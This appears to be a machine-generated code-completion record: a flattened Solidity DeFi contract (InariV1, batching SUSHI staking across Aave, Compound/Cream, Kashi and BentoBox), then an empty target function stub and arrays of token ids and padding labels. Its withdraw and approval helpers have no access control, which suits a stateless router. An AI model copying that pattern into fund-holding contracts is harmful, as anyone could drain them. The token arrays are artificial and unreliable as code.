(_ToTokenContractAddress, _FromTokenContractAddress); address pair = address( uint256( keccak256(abi.encodePacked(hex"ff", sushiSwapFactory, keccak256(abi.encodePacked(token0, token1)), pairCodeHash)) ) ); require(pair != address(0), 'No Swap Available'); address[] memory path = new address[](2); path[0] = _FromTokenContractAddress; path[1] = _ToTokenContractAddress; tokenBought = sushiSwapRouter.swapExactTokensForTokens( tokens2Trade, 1, path, address(this), deadline )[path.length - 1]; require(tokenBought > 0, 'Error Swapping Tokens 2'); } function zapOut( address pair, address to, uint256 amount ) external returns (uint256 amount0, uint256 amount1) { IERC20(pair).safeTransferFrom(msg.sender, pair, amount); // pull `amount` to `pair` (amount0, amount1) = ISushiSwap(pair).burn(to); // trigger burn to redeem liquidity for `to` } function zapOutBalance( address pair, address to ) external returns (uint256 amount0, uint256 amount1) { IERC20(pair).safeTransfer(pair, IERC20(pair).safeBalanceOfSelf()); // transfer local balance to `pair` (amount0, amount1) = ISushiSwap(pair).burn(to); // trigger burn to redeem liquidity for `to` } } /// @notice Interface for depositing into and withdrawing from Aave lending pool. interface IAaveBridge { function UNDERLYING_ASSET_ADDRESS() external view returns (address); function deposit( address asset, uint256 amount, address onBehalfOf, uint16 referralCode ) external; function withdraw( address token, uint256 amount, address destination ) external; } /// @notice Interface for depositing into and withdrawing from BentoBox vault. interface IBentoBridge { function registerProtocol() external; function setMasterContractApproval( address user, address masterContract, bool approved, uint8 v, bytes32 r, bytes32 s ) external; function deposit( IERC20 token_, address from, address to, uint256 amount, uint256 share ) external payable returns (uint256 amountOut, uint256 shareOut); function withdraw( IERC20 token_, address from, address to, uint256 amount, uint256 share ) external returns (uint256 amountOut, uint256 shareOut); } /// @notice Interface for depositing into and withdrawing from Compound finance protocol. interface ICompoundBridge { function underlying() external view returns (address); function mint(uint mintAmount) external returns (uint); function redeem(uint redeemTokens) external returns (uint); } /// @notice Interface for depositing and withdrawing assets from KASHI. interface IKashiBridge { function asset() external returns (IERC20); function addAsset( address to, bool skim, uint256 share ) external returns (uint256 fraction); function removeAsset(address to, uint256 fraction) external returns (uint256 share); } /// @notice Interface for depositing into and withdrawing from SushiBar. interface ISushiBarBridge { function enter(uint256 amount) external; function leave(uint256 share) external; } /// @notice Interface for SUSHI MasterChef v2. interface IMasterChefV2 { function lpToken(uint256 pid) external view returns (IERC20); function deposit(uint256 pid, uint256 amount, address to) external; } /// @notice Contract that batches SUSHI staking and DeFi strategies - V1 'iroirona'. contract InariV1 is BoringBatchableWithDai, SushiZap { using SafeMath for uint256; using BoringERC20 for IERC20; IERC20 constant sushiToken = IERC20(0x6B3595068778DD592e39A122f4f5a5cF09C90fE2); // SUSHI token contract address constant sushiBar = 0x8798249c2E607446EfB7Ad49eC89dD1865Ff4272; // xSUSHI staking contract for SUSHI ISushiSwap constant sushiSwapSushiETHPair = ISushiSwap(0x795065dCc9f64b5614C407a6EFDC400DA6221FB0); // SUSHI/ETH pair on SushiSwap IMasterChefV2 constant masterChefv2 = IMasterChefV2(0xEF0881eC094552b2e128Cf945EF17a6752B4Ec5d); // SUSHI MasterChef v2 contract IAaveBridge constant aave = IAaveBridge(0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9); // AAVE lending pool contract for xSUSHI staking into aXSUSHI IERC20 constant aaveSushiToken = IERC20(0xF256CC7847E919FAc9B808cC216cAc87CCF2f47a); // aXSUSHI staking contract for xSUSHI IBentoBridge constant bento = IBentoBridge(0xF5BCE5077908a1b7370B9ae04AdC565EBd643966); // BENTO vault contract address constant crSushiToken = 0x338286C0BC081891A4Bda39C7667ae150bf5D206; // crSUSHI staking contract for SUSHI address constant crXSushiToken = 0x228619CCa194Fbe3Ebeb2f835eC1eA5080DaFbb2; // crXSUSHI staking contract for xSUSHI address constant wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; // ETH wrapper contract v9 /// @notice Initialize this Inari contract. constructor() { bento.registerProtocol(); // register this contract with BENTO } /// @notice Helper function to approve this contract to spend tokens and enable strategies. function bridgeToken(IERC20[] calldata token, address[] calldata to) external { for (uint256 i = 0; i < token.length; i++) { token[i].safeApprove(to[i], type(uint256).max); // max approve `to` spender to pull `token` from this contract } } /********** TKN HELPERS **********/ function withdrawToken(IERC20 token, address to, uint256 amount) external { token.safeTransfer(to, amount); } function withdrawTokenBalance(IERC20 token, address to) external { token.safeTransfer(to, token.safeBalanceOfSelf()); } /*********** SUSHI HELPER ***********/ /// @notice Stake SUSHI local balance into xSushi for benefit of `to` by call to `sushiBar`. function stakeSushiBalance(address to) external { ISushiBarBridge(sushiBar).enter(sushiToken.safeBalanceOfSelf()); // stake local SUSHI into `sushiBar` xSUSHI IERC20(sushiBar).safeTransfer(to, IERC20(sushiBar).safeBalanceOfSelf()); // transfer resulting xSUSHI to `to` } /*********** CHEF HELPERS ***********/ function depositToMasterChefv2(uint256 pid, uint256 amount, address to) external { masterChefv2.deposit(pid, amount, to); } function balanceToMasterChefv2(uint256 pid, address to) external { IERC20 lpToken = masterChefv2.lpToken(pid); masterChefv2.deposit(pid, lpToken.safeBalanceOfSelf(), to); } /// @notice Liquidity zap into CHEF. function zapToMasterChef( address to, address _FromTokenContractAddress, uint256 _amount, uint256 _minPoolTokens, uint256 pid, address _swapTarget, bytes calldata swapData ) external payable returns (uint256 LPBought) { uint256 toInvest = _pullTokens( _FromTokenContractAddress, _amount ); IERC20 _pairAddress = masterChefv2.lpToken(pid); LPBought = _performZapIn( _FromTokenContractAddress, address(_pairAddress), toInvest, _swapTarget, swapData ); require(LPBought >= _minPoolTokens, "ERR: High Slippage"); emit ZapIn(to, address(_pairAddress), LPBought); masterChefv2.deposit(pid, LPBought, to); } /************ KASHI HELPERS ************/ function assetToKashi(IKashiBridge kashiPair, address to, uint256 amount) external returns (uint256 fraction) { IERC20 asset = kashiPair.asset(); asset.safeTransferFrom(msg.sender, address(bento), amount); IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), amount, 0); fraction = kashiPair.addAsset(to, true, amount); } function assetToKashiChef(uint256 pid, uint256 amount, address to) external returns (uint256 fraction) { address kashiPair = address(masterChefv2.lpToken(pid)); IERC20 asset = IKashiBridge(kashiPair).asset(); asset.safeTransferFrom(msg.sender, address(bento), amount); IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), amount, 0); fraction = IKashiBridge(kashiPair).addAsset(address(this), true, amount); masterChefv2.deposit(pid, fraction, to); } function assetBalanceToKashi(IKashiBridge kashiPair, address to) external returns (uint256 fraction) { IERC20 asset = kashiPair.asset(); uint256 balance = asset.safeBalanceOfSelf(); IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), balance, 0); fraction = kashiPair.addAsset(to, true, balance); } function assetBalanceToKashiChef(uint256 pid, address to) external returns (uint256 fraction) { address kashiPair = address(masterChefv2.lpToken(pid)); IERC20 asset = IKashiBridge(kashiPair).asset(); uint256 balance = asset.safeBalanceOfSelf(); IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), balance, 0); fraction = IKashiBridge(kashiPair).addAsset(address(this), true, balance); masterChefv2.deposit(pid, fraction, to); } function assetBalanceFromKashi(address kashiPair, address to) external returns (uint256 share) { share = IKashiBridge(kashiPair).removeAsset(to, IERC20(kashiPair).safeBalanceOfSelf()); } /// @notice Liquidity zap into KASHI. function zapToKashi( address to, address _FromTokenContractAddress, IKashiBridge kashiPair, uint256 _amount, uint256 _minPoolTokens, address _swapTarget, bytes calldata swapData ) external payable returns (uint256 fraction) { uint256 toInvest = _pullTokens( _FromTokenContractAddress, _amount ); IERC20 _pairAddress = kashiPair.asset(); uint256 LPBought = _performZapIn( _FromTokenContractAddress, address(_pairAddress), toInvest, _swapTarget, swapData ); require(LPBought >= _minPoolTokens, "ERR: High Slippage"); emit ZapIn(to, address(_pairAddress), LPBought); _pairAddress.safeTransfer(address(bento), LPBought); IBentoBridge(bento).deposit(_pairAddress, address(bento), address(kashiPair), LPBought, 0); fraction = kashiPair.addAsset(to, true, LPBought); } /* ██ ██ ▄ ▄███▄ █ █ █ █ █ █▀ ▀ █▄▄█ █▄▄█ █ █ ██▄▄ █ █ █ █ █ █ █▄ ▄▀ █ █ █ █ ▀███▀ █ █ █▐ ▀ ▀ ▐ */ /*********** AAVE HELPERS ***********/ function balanceToAave(address underlying, address to) external { aave.deposit(underlying, IERC20(underlying).safeBalanceOfSelf(), to, 0); } function balanceFromAave(address aToken, address to) external { address underlying = IAaveBridge(aToken).UNDERLYING_ASSET_ADDRESS(); // sanity check for `underlying` token aave.withdraw(underlying, IERC20(aToken).safeBalanceOfSelf(), to); } /************************** AAVE -> UNDERLYING -> BENTO **************************/ /// @notice Migrate AAVE `aToken` underlying `amount` into BENTO for benefit of `to` by batching calls to `aave` and `bento`. function aaveToBento(address aToken, address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) { IERC20(aToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `aToken` `amount` into this contract address underlying = IAaveBridge(aToken).UNDERLYING_ASSET_ADDRESS(); // sanity check for `underlying` token aave.withdraw(underlying, amount, address(bento)); // burn deposited `aToken` from `aave` into `underlying` (amountOut, shareOut) = bento.deposit(IERC20(underlying), address(bento), to, amount, 0); // stake `underlying` into BENTO for `to` } /************************** BENTO -> UNDERLYING -> AAVE **************************/ /// @notice Migrate `underlying` `amount` from BENTO into AAVE for benefit of `to` by batching calls to `bento` and `aave`. function bentoToAave(IERC20 underlying, address to, uint256 amount) external { bento.withdraw(underlying, msg.sender, address(this), amount, 0); // withdraw `amount` of `underlying` from BENTO into this contract aave.deposit(address(underlying), amount, to, 0); // stake `underlying` into `aave` for `to` } /************************* AAVE -> UNDERLYING -> COMP *************************/ /// @notice Migrate AAVE `aToken` underlying `amount` into COMP/CREAM `cToken` for benefit of `to` by batching calls to `aave` and `cToken`. function aaveToCompound(address aToken, address cToken, address to, uint256 amount) external { IERC20(aToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `aToken` `amount` into this contract address underlying = IAaveBridge(aToken).UNDERLYING_ASSET_ADDRESS(); // sanity check for `underlying` token aave.withdraw(underlying, amount, address(this)); // burn deposited `aToken` from `aave` into `underlying` ICompoundBridge(cToken).mint(amount); // stake `underlying` into `cToken` IERC20(cToken).safeTransfer(to, IERC20(cToken).safeBalanceOfSelf()); // transfer resulting `cToken` to `to` } /************************* COMP -> UNDERLYING -> AAVE *************************/ /// @notice Migrate COMP/CREAM `cToken` underlying `amount` into AAVE for benefit of `to` by batching calls to `cToken` and `aave`. function compoundToAave(address cToken, address to, uint256 amount) external { IERC20(cToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `cToken` `amount` into this contract ICompoundBridge(cToken).redeem(amount); // burn deposited `cToken` into `underlying` address underlying = ICompoundBridge(cToken).underlying(); // sanity check for `underlying` token aave.deposit(underlying, IERC20(underlying).safeBalanceOfSelf(), to, 0); // stake resulting `underlying` into `aave` for `to` } /********************** SUSHI -> XSUSHI -> AAVE **********************/ /// @notice Stake SUSHI `amount` into aXSUSHI for benefit of `to` by batching calls to `sushiBar` and `aave`. function stakeSushiToAave(address to, uint256 amount) external { // SAAVE sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI into `sushiBar` xSUSHI aave.deposit(sushiBar, IERC20(sushiBar).safeBalanceOfSelf(), to, 0); // stake resulting xSUSHI into `aave` aXSUSHI for `to` } /********************** AAVE -> XSUSHI -> SUSHI **********************/ /// @notice Unstake aXSUSHI `amount` into SUSHI for benefit of `to` by batching calls to `aave` and `sushiBar`. function unstakeSushiFromAave(address to, uint256 amount) external { aaveSushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` aXSUSHI `amount` into this contract aave.withdraw(sushiBar, amount, address(this)); // burn deposited aXSUSHI from `aave` into xSUSHI ISushiBarBridge(sushiBar).leave(amount); // burn resulting xSUSHI from `sushiBar` into SUSHI sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to` } /* ███ ▄███▄ ▄ ▄▄▄▄▀ ████▄ █ █ █▀ ▀ █ ▀▀▀ █ █ █ █ ▀ ▄ ██▄▄ ██ █ █ █ █ █ ▄▀ █▄ ▄▀ █ █ █ █ ▀████ ███ ▀███▀ █ █ █ ▀ █ ██ */ /************ BENTO HELPERS ************/ function balanceToBento(IERC20 token, address to) external returns (uint256 amountOut, uint256 shareOut) { (amountOut, shareOut) = bento.deposit(token, address(this), to, token.safeBalanceOfSelf(), 0); } /// @dev Included to be able to approve `bento` in the same transaction (using `batch()`). function setBentoApproval( address user, address masterContract, bool approved, uint8 v, bytes32 r, bytes32 s ) external { bento.setMasterContractApproval(user, masterContract, approved, v, r, s); } /// @notice Liquidity zap into BENTO. function zapToBento( address to, address _FromTokenContractAddress, address _pairAddress, uint256 _amount, uint256 _minPoolTokens, address _swapTarget, bytes calldata swapData ) external payable returns (uint256 LPBought) { uint256 toInvest = _pullTokens( _FromTokenContractAddress, _amount ); LPBought = _performZapIn( _FromTokenContractAddress, _pairAddress, toInvest, _swapTarget, swapData ); require(LPBought >= _minPoolTokens, "ERR: High Slippage"); emit ZapIn(to, _pairAddress, LPBought); bento.deposit(IERC20(_pairAddress), address(this), to, LPBought, 0); } /// @notice Liquidity unzap from BENTO. function zapFromBento( address pair, address to, uint256 amount ) external returns (uint256 amount0, uint256 amount1) { bento.withdraw(IERC20(pair), msg.sender, pair, amount, 0); // withdraw `amount` to `pair` from BENTO (amount0, amount1) = ISushiSwap(pair).burn(to); // trigger burn to redeem liquidity for `to` } /*********************** SUSHI -> XSUSHI -> BENTO ***********************/ /// @notice Stake SUSHI `amount` into BENTO xSUSHI for benefit of `to` by batching calls to `sushiBar` and `bento`. function stakeSushiToBento(address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) { sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI into `sushiBar` xSUSHI (amountOut, shareOut) = bento.deposit(IERC20(sushiBar), address(this), to, IERC20(sushiBar).safeBalanceOfSelf(), 0); // stake resulting xSUSHI into BENTO for `to` } /*********************** BENTO -> XSUSHI -> SUSHI ***********************/ /// @notice Unstake xSUSHI `amount` from BENTO into SUSHI for benefit of `to` by batching calls to `bento` and `sushiBar`. function unstakeSushiFromBento(address to, uint256 amount) external { bento.withdraw(IERC20(sushiBar), msg.sender, address(this), amount, 0); // withdraw `amount` of xSUSHI from BENTO into this contract ISushiBarBridge(sushiBar).leave(amount); // burn withdrawn xSUSHI from `sushiBar` into SUSHI sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to` } /* ▄█▄ █▄▄▄▄ ▄███▄ ██ █▀▄▀█ █▀ ▀▄ █ ▄▀ █▀ ▀ █ █ █ █ █ █ ▀ █▀▀▌ ██▄▄ █▄▄█ █ ▄ █ █▄ ▄▀ █ █ █▄ ▄▀ █ █ █ █ ▀███▀ █ ▀███▀ █ █ ▀ █ ▀ ▀ */ // - COMPOUND - // /*********** COMP HELPERS ***********/ function balanceToCompound(ICompoundBridge cToken) external { IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token cToken.mint(underlying.safeBalanceOfSelf()); } function balanceFromCompound(address cToken) external { ICompoundBridge(cToken).redeem(IERC20(cToken).safeBalanceOfSelf()); } /************************** COMP -> UNDERLYING -> BENTO **************************/ /// @notice Migrate COMP/CREAM `cToken` `cTokenAmount` into underlying and BENTO for benefit of `to` by batching calls to `cToken` and `bento`. function compoundToBento(address cToken, address to, uint256 cTokenAmount) external returns (uint256 amountOut, uint256 shareOut) { IERC20(cToken).safeTransferFrom(msg.sender, address(this), cTokenAmount); // deposit `msg.sender` `cToken` `cTokenAmount` into this contract ICompoundBridge(cToken).redeem(cTokenAmount); // burn deposited `cToken` into `underlying` IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token (amountOut, shareOut) = bento.deposit(underlying, address(this), to, underlying.safeBalanceOfSelf(), 0); // stake resulting `underlying` into BENTO for `to` } /************************** BENTO -> UNDERLYING -> COMP **************************/ /// @notice Migrate `cToken` `underlyingAmount` from BENTO into COMP/CREAM for benefit of `to` by batching calls to `bento` and `cToken`. function bentoToCompound(address cToken, address to, uint256 underlyingAmount) external { IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token bento.withdraw(underlying, msg.sender, address(this), underlyingAmount, 0); // withdraw `underlyingAmount` of `underlying` from BENTO into this contract ICompoundBridge(cToken).mint(underlyingAmount); // stake `underlying` into `cToken` IERC20(cToken).safeTransfer(to, IERC20(cToken).safeBalanceOfSelf()); // transfer resulting `cToken` to `to` } /********************** SUSHI -> CREAM -> BENTO **********************/ /// @notice Stake SUSHI `amount` into crSUSHI and BENTO for benefit of `to` by batching calls to `crSushiToken` and `bento`. function sushiToCreamToBento(address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) { sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract ICompoundBridge(crSushiToken).mint(amount); // stake deposited SUSHI into crSUSHI (amountOut, shareOut) = bento.deposit(IERC20(crSushiToken), address(this), to, IERC20(crSushiToken).safeBalanceOfSelf(), 0); // stake resulting crSUSHI into BENTO for `to` } /********************** BENTO -> CREAM -> SUSHI **********************/ /// @notice Unstake crSUSHI `cTokenAmount` into SUSHI from BENTO for benefit of `to` by batching calls to `bento` and `crSushiToken`. function sushiFromCreamFromBento(address to, uint256 cTokenAmount) external { bento.withdraw(IERC20(crSushiToken), msg.sender, address(this), cTokenAmount, 0); // withdraw `cTokenAmount` of `crSushiToken` from BENTO into this contract ICompoundBridge(crSushiToken).redeem(cTokenAmount); // burn deposited `crSushiToken` into SUSHI sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to` } /*********************** SUSHI -> XSUSHI -> CREAM ***********************/ /// @notice Stake SUSHI `amount` into crXSUSHI for benefit of `to` by batching calls to `sushiBar` and `crXSushiToken`. function stakeSushiToCream(address to, uint256 amount) external { // SCREAM sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI `amount` into `sushiBar` xSUSHI ICompoundBridge(crXSushiToken).mint(IERC20(sushiBar).safeBalanceOfSelf()); // stake resulting xSUSHI into crXSUSHI IERC20(crXSushiToken).safeTransfer(to, IERC20(crXSushiToken).safeBalanceOfSelf()); // transfer resulting crXSUSHI to `to` } /*********************** CREAM -> XSUSHI -> SUSHI ***********************/ /// @notice Unstake crXSUSHI `cTokenAmount` into SUSHI for benefit of `to` by batching calls to `crXSushiToken` and `sushiBar`. function unstakeSushiFromCream(address to, uint256 cTokenAmount) external { IERC20(crXSushiToken).safeTransferFrom(msg.sender, address(this), cTokenAmount); // deposit `msg.sender` `crXSushiToken` `cTokenAmount` into this contract ICompoundBridge(crXSushiToken).redeem(cTokenAmount); // burn deposited `crXSushiToken` `cTokenAmount` into xSUSHI ISushiBarBridge(sushiBar).leave(IERC20(sushiBar).safeBalanceOfSelf()); // burn resulting xSUSHI `amount` from `sushiBar` into SUSHI sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to` } /******************************** SUSHI -> XSUSHI -> CREAM -> BENTO ********************************/ /// @notice Stake SUSHI `amount` into crXSUSHI and BENTO for benefit of `to` by batching calls to `sushiBar`, `crXSushiToken` and `bento`. function stakeSushiToCreamToBento(address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) { sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI `amount` into `sushiBar` xSUSHI ICompoundBridge(crXSushiToken).mint(IERC20(sushiBar).safeBalanceOfSelf()); // stake resulting xSUSHI into crXSUSHI (amountOut, shareOut) = bento.deposit(IERC20(crXSushiToken), address(this), to, IERC20(crXSushiToken).safeBalanceOfSelf(), 0); // stake resulting crXSUSHI into BENTO for `to` } /******************************** BENTO -> CREAM -> XSUSHI -> SUSHI ********************************/ /// @notice Unstake crXSUSHI `cTokenAmount` into SUSHI from BENTO for benefit of `to` by batching calls to `bento`, `crXSushiToken` and `sushiBar`. function unstakeSushiFromCreamFromBento(address to, uint256 cTokenAmount) external { bento.withdraw(IERC20(crXSushiToken), msg.sender, address(this), cTokenAmount, 0); // withdraw `cTokenAmount` of `crXSushiToken` from BENTO into this contract ICompoundBridge(crXSushiToken).redeem(cTokenAmount); // burn deposited `crXSushiToken` `cTokenAmount` into xSUSHI ISushiBarBridge(sushiBar).leave(IERC20(sushiBar).safeBalanceOfSelf()); // burn resulting xSUSHI from `sushiBar` into SUSHI sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to` } /* ▄▄▄▄▄ ▄ ▄ ██ █ ▄▄ █ ▀▄ █ █ █ █ █ █ ▄ ▀▀▀▀▄ █ ▄ █ █▄▄█ █▀▀▀ ▀▄▄▄▄▀ █ █ █ █ █ █ █ █ █ █ █ ▀ ▀ █ ▀ ▀ */ /// @notice Fallback for received ETH - SushiSwap ETH to stake SUSHI into xSUSHI and BENTO for benefit of `to`. receive() external payable { // INARIZUSHI (uint256 reserve0, uint256 reserve1, ) = sushiSwapSushiETHPair.getReserves(); uint256 amountInWithFee = msg.value.mul(997); uint256 out = amountInWithFee.mul(reserve0) / reserve1.mul(1000).add(amountInWithFee); IWETH(wETH).deposit{value: msg.value}(); IERC20(wETH).safeTransfer(address(sushiSwapSushiETHPair), msg.value); sushiSwapSushiETHPair.swap(out, 0, address(this), ""); ISushiBarBridge(sushiBar).enter(sushiToken.safeBalanceOfSelf()); // stake resulting SUSHI into `sushiBar` xSUSHI bento.deposit(IERC20(sushiBar), address(this), msg.sender, IERC20(sushiBar).safeBalanceOfSelf(), 0); // stake resulting xSUSHI into BENTO for `to` } /// @notice SushiSwap ETH to stake SUSHI into xSUSHI and BENTO for benefit of `to`. function inariZushi(address to) external payable returns (uint256 amountOut, uint256 shareOut) { (uint256 reserve0, uint256 reserve1, ) = sushiSwapSushiETHPair.getReserves(); uint256 amountInWithFee = msg.value.mul(997); uint256 out = amountInWithFee.mul(reserve0) / reserve1.mul(1000).add(amountInWithFee); IWETH(wETH).deposit{value: msg.value}(); IERC20(wETH).safeTransfer(address(sushiSwapSushiETHPair), msg.value); sushiSwapSushiETHPair.swap(out, 0, address(this), ""); ISushiBarBridge(sushiBar).enter(sushiToken.safeBalanceOfSelf()); // stake resulting SUSHI into `sushiBar` xSUSHI (amountOut, shareOut) = bento.deposit(IERC20(sushiBar), address(this), to, IERC20(sushiBar).safeBalanceOfSelf(), 0); // stake resulting xSUSHI into BENTO for `to` } /// @notice Simple SushiSwap `fromToken` `amountIn` to `toToken` for benefit of `to`. function swap(address fromToken, address toToken, address to, uint256 amountIn) external returns (uint256 amountOut) { (address token0, address token1) = fromToken < toToken ? (fromToken, toToken) : (toToken, fromToken); ISushiSwap pair = ISushiSwap( uint256( keccak256(abi.encodePacked(hex"ff", sushiSwapFactory, keccak256(abi.encodePacked(token0, token1)), pairCodeHash)) ) ); (uint256 reserve0, uint256 reserve1, ) = pair.getReserves(); uint256 amountInWithFee = amountIn.mul(997); IERC20(fromToken).safeTransferFrom(msg.sender, address(pair), amountIn); if (toToken > fromToken) { amountOut = amountInWithFee.mul(reserve1) / reserve0.mul(1000).add(amountInWithFee); pair.swap(0, amountOut, to, ""); } else { amountOut = amountInWithFee.mul(reserve0) / reserve1.mul(1000).add(amountInWithFee); pair.swap(amountOut, 0, to, ""); } } /// @notice Simple SushiSwap local `fromToken` balance in this contract to `toToken` for benefit of `to`. function swapBalance(address fromToken, address toToken, address to) external returns (uint256 amountOut) { (address token0, address token1) = fromToken < toToken ? (fromToken, toToken) : (toToken, fromToken); ISushiSwap pair = ISushiSwap( uint256( keccak256(abi.encodePacked(hex"ff", sushiSwapFactory, keccak256(abi.encodePacked(token0, token1)), pairCodeHash)) ) ); uint256 amountIn = IERC20(fromToken).safeBalanceOfSelf(); (uint256 reserve0, uint256 reserve1, ) = pair.getReserves(); uint256 amountInWithFee = amountIn.mul(997); IERC20(fromToken).safeTransfer(address(pair), amountIn); if (toToken > fromToken) { amountOut = amountInWithFee.mul(reserve1) / reserve0.mul(1000).add(amountInWithFee); pair.swap(0, amountOut, to, ""); } else { amountOut = amountInWithFee.mul(reserve0) / reserve1.mul(1000).add(amountInWithFee); pair.swap(amountOut, 0, to, ""); } } }
*********************/ @notice Stake SUSHI `amount` into crSUSHI and BENTO for benefit of `to` by batching calls to `crSushiToken` and `bento`.
function sushiToCreamToBento(address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) { }
2,388,226
[ 1, 4625, 348, 7953, 560, 30, 380, 2751, 1007, 19, 632, 20392, 934, 911, 11726, 2664, 45, 1375, 8949, 68, 1368, 4422, 6639, 2664, 45, 471, 605, 2222, 51, 364, 27641, 7216, 434, 1375, 869, 68, 635, 2581, 310, 4097, 358, 1375, 3353, 55, 1218, 77, 1345, 68, 471, 1375, 70, 29565, 8338, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,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 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 272, 1218, 77, 774, 39, 793, 774, 38, 29565, 12, 2867, 358, 16, 2254, 5034, 3844, 13, 3903, 1135, 261, 11890, 5034, 3844, 1182, 16, 2254, 5034, 7433, 1182, 13, 288, 203, 565, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, 